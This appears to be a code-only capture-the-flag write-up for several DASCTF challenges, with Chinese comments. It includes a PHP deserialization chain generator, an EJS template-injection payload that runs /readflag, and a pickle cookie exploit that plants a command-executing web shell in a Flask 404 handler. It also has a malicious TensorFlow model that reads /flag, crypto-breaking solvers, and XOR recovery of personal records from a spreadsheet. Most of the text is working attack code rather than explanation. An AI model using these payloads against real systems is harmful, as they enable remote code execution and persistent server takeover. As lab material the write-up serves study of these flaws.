1
<?php
2

3
// 声明所有需要用到的类
4
class A {
5
    public $first;
6
    public $step;
7
    public $next;
8
}
9
class E {
10
    public $found;
11
    private $you;
12
    private $secret;
13
}
14
class F {
15
    public $fifth;
16
    public $step;
17
    public $finalstep;
18
}
19
class H {
20
    public $who;
21
    public $are;
22
    public $you;
23
}
24
class V {
25
    public $good;
26
    public $keep;
27
    public $dowhat;
28
    public $go;
29
}
30
// N 和 U 类在服务器端被调用，payload中不需要它们的实例
31
class N {}
32
class U {}
33

34

35
// 1. 创建链条中的所有对象实例
36
$h = new H();
37
$a = new A();
38
$v = new V();
39
$e = new E();
40
$f = new F();
41

42
// 2. 按照攻击链设置对象的属性
43
$h->who = $a;
44
$a->next = $v;
45
$v->go = $e;
46
$v->dowhat = "secret"; // 触发 E::__get("secret")
47
$e->found = $f;
48
$f->finalstep = "u";   // 大小写绕过 preg_match
49

50
// 3. 序列化顶层对象并进行 URL 编码
51
$payload = serialize($h);
52
echo "Your Payload:\n\n";
53
echo urlencode($payload);
54

55
?>

1
<%- global.process.mainModule.require('child_process').execSync('/readflag').toString() %>

1
PCUtIGdsb2JhbC5wcm9jZXNzLm1haW5Nb2R1bGUucmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCcvcmVhZGZsYWcnKS50b1N0cmluZygpICU+

1
Token=8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e

1
import pickle
2
import binascii
3

4
hex_cookie = "8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e"
5
decoded_cookie = binascii.unhexlify(hex_cookie)
6

7
# 为了能成功反序列化，需要定义一个占位符类
8
class User:
9
    pass
10
# 还需要告诉 pickle User 类在哪个模块下
11
import sys
12
sys.modules['app'] = sys.modules['__main__']
13

14
deserialized_object = pickle.loads(decoded_cookie)
15
print(deserialized_object.__dict__)

1
{'id': 2, 'username': 'guest', 'is_admin': False, 'logged_in': True}

1
import os
2
import pickle
3
import binascii
4
from flask import request # 模拟导入，实际在服务器上运行
5

6
# 定义恶意类，其 __reduce__ 方法将在反序列化时被调用
7
class Exploit:
8
    def __reduce__(self):
9
        # 这段代码会找到并替换 Flask 应用的 404 错误处理器
10
        # 新的处理器会执行 URL 参数 `cmd` 传入的命令
11
        command = (
12
            "global app, request; "
13
            "exc_class, code = app._get_exc_class_and_code(404); "
14
            "app.error_handler_spec[None][code][exc_class] = "
15
            "lambda e: __import__('os').popen(request.args.get('cmd')).read()"
16
        )
17
        return (exec, (command,))
18

19
# 实例化恶意类
20
payload_obj = Exploit()
21

22
# 序列化并进行 hex 编码
23
pickled_data = pickle.dumps(payload_obj)
24
hex_payload = binascii.hexlify(pickled_data).decode()
25

26
print("请将以下 Payload 替换到你的 Token Cookie 中:")
27
print(hex_payload)

1
from sage.all import *
2
import itertools
3
import ast
4
from Crypto.Util.number import long_to_bytes
5

6

7
def small_roots_multivariate(f, bounds, m=2, d=None):
8
    """
9
    Multivariate Coppersmith small roots, adapted from the approach in the writeup.
10
    f: polynomial over Zmod(N) in multiple variables
11
    bounds: tuple of bounds (B1, B2, ...)
12
    m: lattice parameter (default 2)
13
    d: degree parameter (default: total degree of f)
14
    Returns list of tuples (r1, r2, ...) in Zmod(N) representing small roots.
15
    """
16
    if d is None:
17
        d = f.degree()
18
    R = f.base_ring()
19
    N = R.cardinality()
20
    # Normalize leading coefficient
21
    f /= f.coefficients().pop(0)
22
    f = f.change_ring(ZZ)
23
    G = Sequence([], f.parent())
24
    for i in range(m + 1):
25
        base = (N ** (m - i)) * (f ** i)
26
        for shifts in itertools.product(range(d), repeat=f.nvariables()):
27
            g = base * prod([v**s for v, s in zip(f.variables(), shifts)])
28
            G.append(g)
29
    B, monomials = G.coefficient_matrix()
30
    monomials = vector(monomials)
31
    # Scale columns by bounds
32
    factors = [monomial(*bounds) for monomial in monomials]
33
    for i, factor in enumerate(factors):
34
        B.rescale_col(i, factor)
35
    B = B.dense_matrix().LLL()
36
    B = B.change_ring(QQ)
37
    for i, factor in enumerate(factors):
38
        B.rescale_col(i, 1 / factor)
39
    H = Sequence([], f.parent().change_ring(QQ))
40
    for h in filter(None, B * monomials):
41
        H.append(h)
42
        I = H.ideal()
43
        if I.dimension() == -1:
44
            H.pop()
45
        elif I.dimension() == 0:
46
            roots = []
47
            for root in I.variety(ring=ZZ):
48
                tup = tuple(R(root[var]) for var in f.variables())
49
                roots.append(tup)
50
            if roots:
51
                return roots
52
    return []
53

54

55
def find_initial_y(n, x, enc, max_scan=32):
56
    """
57
    Try to locate a valid (d1, d2, y) near the end of enc by scanning windows
58
    of three consecutive ciphertexts assuming three consecutive 0-bits.
59
    Returns (y, d1_int, offset) where offset >= 0 indicates the shift from the last window.
60
    """
61
    for offset in range(0, min(max_scan, len(enc) - 3)):
62
        # We use enc[-(offset+4)], enc[-(offset+3)], enc[-(offset+2)] as c1, c2, c3
63
        c1 = enc[-(offset + 4)]
64
        c2 = enc[-(offset + 3)]
65
        c3 = enc[-(offset + 2)]
66
        a = (c2 - c1) % n
67
        b = (c3 - c1) % n
68
        R = PolynomialRing(Zmod(n), names=("d1", "d2"), implementation='generic')
69
        d1_sym, d2_sym = R.gens()
70
        f = (a - d1_sym**2) * (d1_sym + d2_sym) - d1_sym * (b - (d1_sym + d2_sym)**2)
71
        res = small_roots_multivariate(f, (2**48, 2**48), m=2, d=3)
72
        if not res:
73
            continue
74
        # Filter candidates: d1 != 0 and invertible modulo n, and y verifies c1
75
        for (d1_val, d2_val) in res:
76
            d1_int = int(d1_val)
77
            if d1_int == 0:
78
                continue
79
            if gcd(2 * d1_int, n) != 1:
80
                continue
81
            try:
82
                y = ((a - pow(d1_int, 2, n)) * inverse_mod(2 * d1_int, n)) % n
83
            except ZeroDivisionError:
84
                continue
85
            if pow(y, 2, n) == c1:
86
                return y, d1_int, offset
87
        # If none candidate passes, continue scanning
88
    raise ValueError("Failed to locate a valid initial (d1, d2, y). Try increasing max_scan or check assumptions.")
89

90

91
def recover(n, x, enc):
92
    # Locate initial y based on three consecutive 0-bits near the end
93
    y, d1_int, offset = find_initial_y(n, x, enc)
94

95
    # Determine the bit right before the triple zeros (optional); we'll follow the original writeup flow
96
    # Build bitstring starting from the assumed pattern; we keep '1000' as in writeup for compatibility
97
    m_bits = '1000'
98
    for i in range(4 + offset, len(enc)):
99
        R1 = PolynomialRing(Zmod(n), names=("d",))
100
        d = R1.gens()[0]
101
        # Try next bit as 0 first
102
        f0 = (y - d)**2 - enc[-(i+1)]
103
        roots0 = f0.monic().small_roots(X=2**48)
104
        if roots0:
105
            m_bits += '0'
106
            y = (y - int(roots0[0])) % n
107
        else:
108
            # Otherwise, treat as bit 1
109
            m_bits += '1'
110
            f1 = (y - d)**2 - (enc[-(i+1)] * inverse_mod(x, n))
111
            roots1 = f1.monic().small_roots(X=2**48)
112
            if not roots1:
113
                raise ValueError("Failed to find small root for next step; check assumptions or data.")
114
            y = (y - int(roots1[0])) % n
115

116
    m_int = int(m_bits, 2)
117
    m_bytes = long_to_bytes(m_int)
118
    return m_bytes, m_bits
119

120

121
def parse_output(path):
122
    with open(path, 'r') as f:
123
        lines = f.read().strip().splitlines()
124
    # Expecting format:
125
    # n = <int>
126
    # x = <int>
127
    # enc = [list]
128
    n = int(lines[0].split('=', 1)[1].strip())
129
    x = int(lines[1].split('=', 1)[1].strip())
130
    enc_str = lines[2].split('=', 1)[1].strip()
131
    enc = ast.literal_eval(enc_str)
132
    return n, x, enc
133

134

135
def main():
136
    n, x, enc = parse_output('output.txt')
137
    m_bytes, m_bits = recover(n, x, enc)
138
    print("Recovered bits:", m_bits)
139
    print("Recovered message:", m_bytes)
140

141

142
if __name__ == '__main__':
143
    main()

1
weight(x XOR y) = weight(x) + weight(y) - 2 * overlap1(x, y)

1
weight(c_i) = l[i] + w - 2 * dot_i

1
w = weight(c_i) - l[i] + 2 * dot_i

1
dot_i = # { k | c_i[k] = 0 且 rotate^i(m)[k] = 1 }

1
import os
2
import ast
3
from ortools.sat.python import cp_model
4

5

6
def parse_output(file_path):
7
    with open(file_path, "r") as f:
8
        lines = f.read().strip().splitlines()
9
    # Parse LENGTH
10
    assert lines[0].startswith("LENGTH = ")
11
    LENGTH = int(lines[0].split("=")[1].strip())
12
    # Parse c and l using ast.literal_eval for safety
13
    assert lines[1].startswith("c = ")
14
    c_str = lines[1].split("=", 1)[1].strip()
15
    c_list = ast.literal_eval(c_str)
16
    assert lines[2].startswith("l = ")
17
    l_str = lines[2].split("=", 1)[1].strip()
18
    l_list = ast.literal_eval(l_str)
19
    return LENGTH, c_list, l_list
20

21

22
def int_to_bits(x, n):
23
    s = bin(x)[2:].zfill(n)
24
    return [int(ch) for ch in s]
25

26

27
def solve_flag(output_path):
28
    LENGTH, c_list, l_list = parse_output(output_path)
29
    n = LENGTH
30
    m_count = len(c_list)
31

32
    # Precompute c bits and weights
33
    c_bits = [int_to_bits(ci, n) for ci in c_list]
34
    c_weights = [sum(bits) for bits in c_bits]
35

36
    model = cp_model.CpModel()
37

38
    # Variables for m (original flag bits, MSB-first order as in task.py)
39
    m_vars = [model.NewIntVar(0, 1, f"m_{k}") for k in range(n)]
40
    # Constant Hamming weight of m across rotations
41
    w_var = model.NewIntVar(0, n, "w")
42

43
    dot_vars = []
44
    for i in range(m_count):
45
        d = model.NewIntVar(0, n, f"dot_{i}")
46
        dot_vars.append(d)
47
        # dot_i = sum_k a_i_k * m_k, where a_i_k = c_i[(k - i) % n]
48
        terms = []
49
        for k in range(n):
50
            if c_bits[i][(k - i) % n] == 0:
51
                terms.append(m_vars[k])
52
        if terms:
53
            model.Add(d == sum(terms))
54
        else:
55
            model.Add(d == 0)
56
        # Constraint: w = l[i] + 2*dot_i - weight(c_i)
57
        model.Add(w_var == c_weights[i] - l_list[i] + 2 * d)
58

59
    # Solve
60
    solver = cp_model.CpSolver()
61
    solver.parameters.max_time_in_seconds = 60.0
62
    solver.parameters.num_search_workers = 8
63
    status = solver.Solve(model)
64

65
    if status not in (cp_model.OPTIMAL, cp_model.FEASIBLE):
66
        raise RuntimeError("No feasible solution found by CP-SAT.")
67

68
    m_bits = [solver.Value(v) for v in m_vars]
69
    w_val = solver.Value(w_var)
70
    # Build integer from bits (MSB-first)
71
    bit_str = "".join(str(b) for b in m_bits)
72
    m_int = int(bit_str, 2)
73

74
    # Convert to bytes (minimal length sufficient for bit-length)
75
    byte_len = (n + 7) // 8
76
    inner_bytes = m_int.to_bytes(byte_len, byteorder="big")
77
    # Strip leading zero bytes that may arise from bit-length vs byte boundary
78
    inner_bytes = inner_bytes.lstrip(b"\x00")
79

80
    try:
81
        inner_text = inner_bytes.decode("utf-8")
82
    except Exception:
83
        # Fallback to latin-1 if utf-8 fails
84
        try:
85
            inner_text = inner_bytes.decode("latin-1")
86
        except Exception:
87
            inner_text = inner_bytes.hex()
88

89
    full_flag = f"DASCTF{{{inner_text}}}"
90

91
    print(f"Recovered LENGTH: {n}")
92
    print(f"Recovered weight(m): {w_val}")
93
    print(f"Recovered inner bytes (hex): {inner_bytes.hex()}")
94
    print(f"Recovered inner text: {inner_text}")
95
    print(f"Flag: {full_flag}")
96

97

98
if __name__ == "__main__":
99
    # Assume running from the challenge directory; read local output.txt
100
    script_dir = os.path.dirname(os.path.abspath(__file__))
101
    output_path = os.path.join(script_dir, "output.txt")
102
    solve_flag(output_path)

1
010001000100000101010011010000110101010001000110011110110111011100110000011011010100010101001110010111110110001001100101011010000011000101101110010001000101111101001101010001010110111001111101

1
from openpyxl import load_workbook
2
import hashlib
3

4
wb = load_workbook('个人信息表.xlsx', read_only=True, data_only=True)
5
ws = wb.active
6
rows = list(ws.iter_rows(values_only=True))
7

8
# 已知第一条数据行的明文
9
name0 = '蒋宏玲'.encode('utf-8')
10
phone0 = '17145949399'.encode('utf-8')
11
id0 = '220000197309078766'.encode('utf-8')
12

13
# 对应密文（第2行）
14
c_name = bytes.fromhex(rows[1][1])
15
c_phone = bytes.fromhex(rows[1][2])
16
c_id = bytes.fromhex(rows[1][3])
17

18
# 反推出三个字段各自的密钥流片段（不足部分按 0x00 填充）
19
ks_name = bytes(x ^ y for x, y in zip(c_name, name0 + b'\x00' * (len(c_name) - len(name0))))
20
ks_phone = bytes(x ^ y for x, y in zip(c_phone, phone0 + b'\x00' * (len(c_phone) - len(phone0))))
21
ks_id = bytes(x ^ y for x, y in zip(c_id, id0 + b'\x00' * (len(c_id) - len(id0))))
22

23
flag_md5 = None
24
for r in rows[1:]:
25
    name = bytes(x ^ y for x, y in zip(bytes.fromhex(str(r[1])), ks_name)).rstrip(b'\x00').decode('utf-8')
26
    phone = bytes(x ^ y for x, y in zip(bytes.fromhex(str(r[2])), ks_phone)).rstrip(b'\x00').decode('utf-8')
27
    idnum = bytes(x ^ y for x, y in zip(bytes.fromhex(str(r[3])), ks_id)).rstrip(b'\x00').decode('utf-8')
28
    if name == '何浩璐':
29
        flag_md5 = hashlib.md5(idnum.encode('utf-8')).hexdigest()
30
        break
31

32
print('FLAG:', flag_md5)

1
import tensorflow as tf
2
import os
3
import shutil
4

5
class MaliciousModel(tf.Module):
6
    def __init__(self):
7
        super(MaliciousModel, self).__init__()
8
        self.flag_path = tf.constant('/flag', dtype=tf.string)
9

10
    @tf.function(input_signature=[tf.TensorSpec(shape=[1, 1], dtype=tf.float32)])
11
    def serve(self, input_tensor):
12
        # 步骤1: 读取文件的原始字节
13
        raw_bytes = tf.io.read_file(self.flag_path)
14

15
        # 步骤2: 将字节流解码为 uint8 整数向量
16
        byte_vector = tf.io.decode_raw(raw_bytes, tf.uint8)
17

18
        # 步骤3: 返回这个向量，它满足 .tolist() 的要求
19
        return {'prediction': byte_vector}
20

21
# --- 保存并打包模型的代码 ---
22
model_dir = './malicious_model_final_vector'
23
zip_name = 'model'
24
if os.path.exists(model_dir): shutil.rmtree(model_dir)
25
if os.path.exists(f'{zip_name}.zip'): os.remove(f'{zip_name}.zip')
26

27
model = MaliciousModel()
28
tf.saved_model.save(model, model_dir, signatures={'serve': model.serve})
29
shutil.make_archive(zip_name, 'zip', model_dir)
30
shutil.rmtree(model_dir)
31
print(f"成功创建 '{zip_name}.zip'")

1
预测结果: [68, 65, 83, 67, 84, 70, 123, 57, 55, 52, 49, 52, 55, 56, 48, 56, 48, 55, 52, 56, 49, 54, 56, 57, 54, 56, 52, 56, 53, 55, 50, 49, 57, 50, 49, 51, 51, 56, 57, 125, 10]

1
flag_as_numbers = [
2
    68, 65, 83, 67, 84, 70, 123, 57, 55, 52, 49, 52, 55, 56, 48, 56, 48,
3
    55, 52, 56, 49, 54, 56, 57, 54, 56, 52, 56, 53, 55, 50, 49, 57, 50,
4
    49, 51, 51, 56, 57, 125, 10
5
]
6

7
# 最后一个数字 10 是换行符，我们将其忽略
8
flag_string = "".join(map(chr, flag_as_numbers[:-1]))
9

10
print(flag_string)